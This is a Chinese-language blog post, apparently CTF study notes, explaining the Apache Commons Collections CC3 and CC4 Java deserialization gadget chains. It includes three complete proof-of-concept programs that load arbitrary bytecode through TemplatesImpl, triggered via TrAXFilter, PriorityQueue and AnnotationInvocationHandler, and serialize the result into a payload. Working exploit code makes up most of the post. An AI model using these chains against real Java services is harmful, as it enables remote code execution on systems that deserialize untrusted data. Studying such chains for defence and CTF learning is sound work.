• 版本:jdk8u25
  • 依赖:Apache Commons Collections 3.1和Apache Commons Collections 4.0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
    </dependency>
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
    </dependency>
    </dependencies>

cc3链详解

TrAXFilter触发

还是和第一次的TemplateImp链子有关,我们回忆一下TemplateImp链子触发函数

  • newTransformer()
  • getOutProperties()

这次的cc3链子触发函数是newTransformer(),和往常一样,查找谁调用了newTransformer()

可以看到:

有很多类,我们直接步入正题查看com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类,调用逻辑为:

1
2
3
4
5
6
7
public TrAXFilter(Templates templates)  throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

直接在构造函数调用了,调用的实例templates,也就是构造函数传入的实参。也就是说调用了他的构造函数并传入恶意实例即可触发。

那该怎么调用呢,这里cc3链子的发现者用了一个新的的类:org.apache.commons.collections.functors.InstantiateTransformer

我们查看这个类的transform函数:

解析一下,如果输入的实例不是Class的实例的话,就抛出异常

反之就调用获取输入的Object的实参为iParamTypes的构造函数

调用构造函数,实参为iArgs

我们查看iParamTypes和iArgs是否可控,发现在构造函数中:

1
2
3
4
5
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

直接赋值了,完全可控

那么我们的思路就非常明显了

  • 创造恶意TemplateImp实例
  • 创建InstantiateTransformer实例
  • 将InstantiateTransformer实例的iArgs赋值成恶意TemplateImp实例
  • 将InstantiateTransformer实例的iParamTypes赋值成Templates.class
  • 调用InstantiateTransformer实例的transform函数,实参为TrAXFilter.class

然后即可触发,写个小测试

testTransform.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class testTransform {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class templatesClass=templates.getClass();
Field _nameField=templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Nebu1ea");
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes= Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));
byte[][] bytes1=new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

Class[] classes=new Class[]{Templates.class};
Object[] objects=new Object[]{templates};

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(classes,objects);
instantiateTransformer.transform(TrAXFilter.class);
}
}


成功召唤计算机,那么cc3链子最重要的部分到这就结束了

到此为止的链子为InstantiateTransformer.transform->TrAXFilter.TrAXFilter->TemplateImp.newTransform->getTransletInstance()->defineTransletClasses()->defineClass()

那么接下来就是怎么反序列化触发了,这就非常明显了,cc1的sun.reflect.annotation.AnnotationInvocationHandler和cc2的PriorityQueue能完美触发

接下来开始测试:

cc4调用链

没错,用cc2的PriorityQueue触发cc3链就是cc4链子

链子:readObject->PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare->InstantiateTransformer.transform

QueueTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class QueueTest {
public static String serialize(Object a) throws Exception{
ByteArrayOutputStream byteArrayInputStream=new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream);
out.writeObject(a);
out.flush();
out.close();
byte[] serial=byteArrayInputStream.toByteArray();
String payload= Base64.getEncoder().encodeToString(serial);
return payload;
}
public static Object unserialize(String payload) throws Exception{
byte[] bytes=Base64.getDecoder().decode(payload);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Nebu1ea");

// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1);

Class[] classes=new Class[]{Templates.class};
Object[] objects=new Object[]{templates};

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(classes,objects);
// instantiateTransformer.transform(TrAXFilter.class);



TransformingComparator comparator=new TransformingComparator(instantiateTransformer);


PriorityQueue priorityQueue=new PriorityQueue(2,null);
priorityQueue.offer("Nebu");
priorityQueue.offer("1ea");
Field field=priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,comparator);

Object[] queue=new Object[]{TrAXFilter.class,TrAXFilter.class};
Field field1=priorityQueue.getClass().getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priorityQueue,queue);
String payload=serialize(priorityQueue);
unserialize(payload);
}
}

思考与测试

这里是用cc1的AnnotationInvocationHandler触发的

链子:ObjectInputStream.readObject->AnnotationInvocationHandler.readObject->TransformedMap.entrySet().iterator().next().setValue->TransformedMap.checkSetValue->TransformedMap.transform->ChainedTransformer.transform->ConstantTransformer.transform->InstantiateTransformer.transform

AnnTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Map;

public class Anntest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"Nebu1ea");

// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1);

Class[] classes=new Class[]{Templates.class};
Object[] objects=new Object[]{templates};

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(classes,objects);

ConstantTransformer constantTransformer=new ConstantTransformer(TrAXFilter.class);

Transformer[] Transformers=new Transformer[]{constantTransformer, instantiateTransformer};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
Map map=new HashedMap();
map.put("value","Nebu1ea");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);



Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object=constructor.newInstance(Target.class,transformedMap);

//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
byte[] bytes2=byteArrayOutputStream.toByteArray();

//反序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes2);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

结语

已经学习过cc1,cc2和TemplateImp链子后,cc3链子已经不成问题了

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝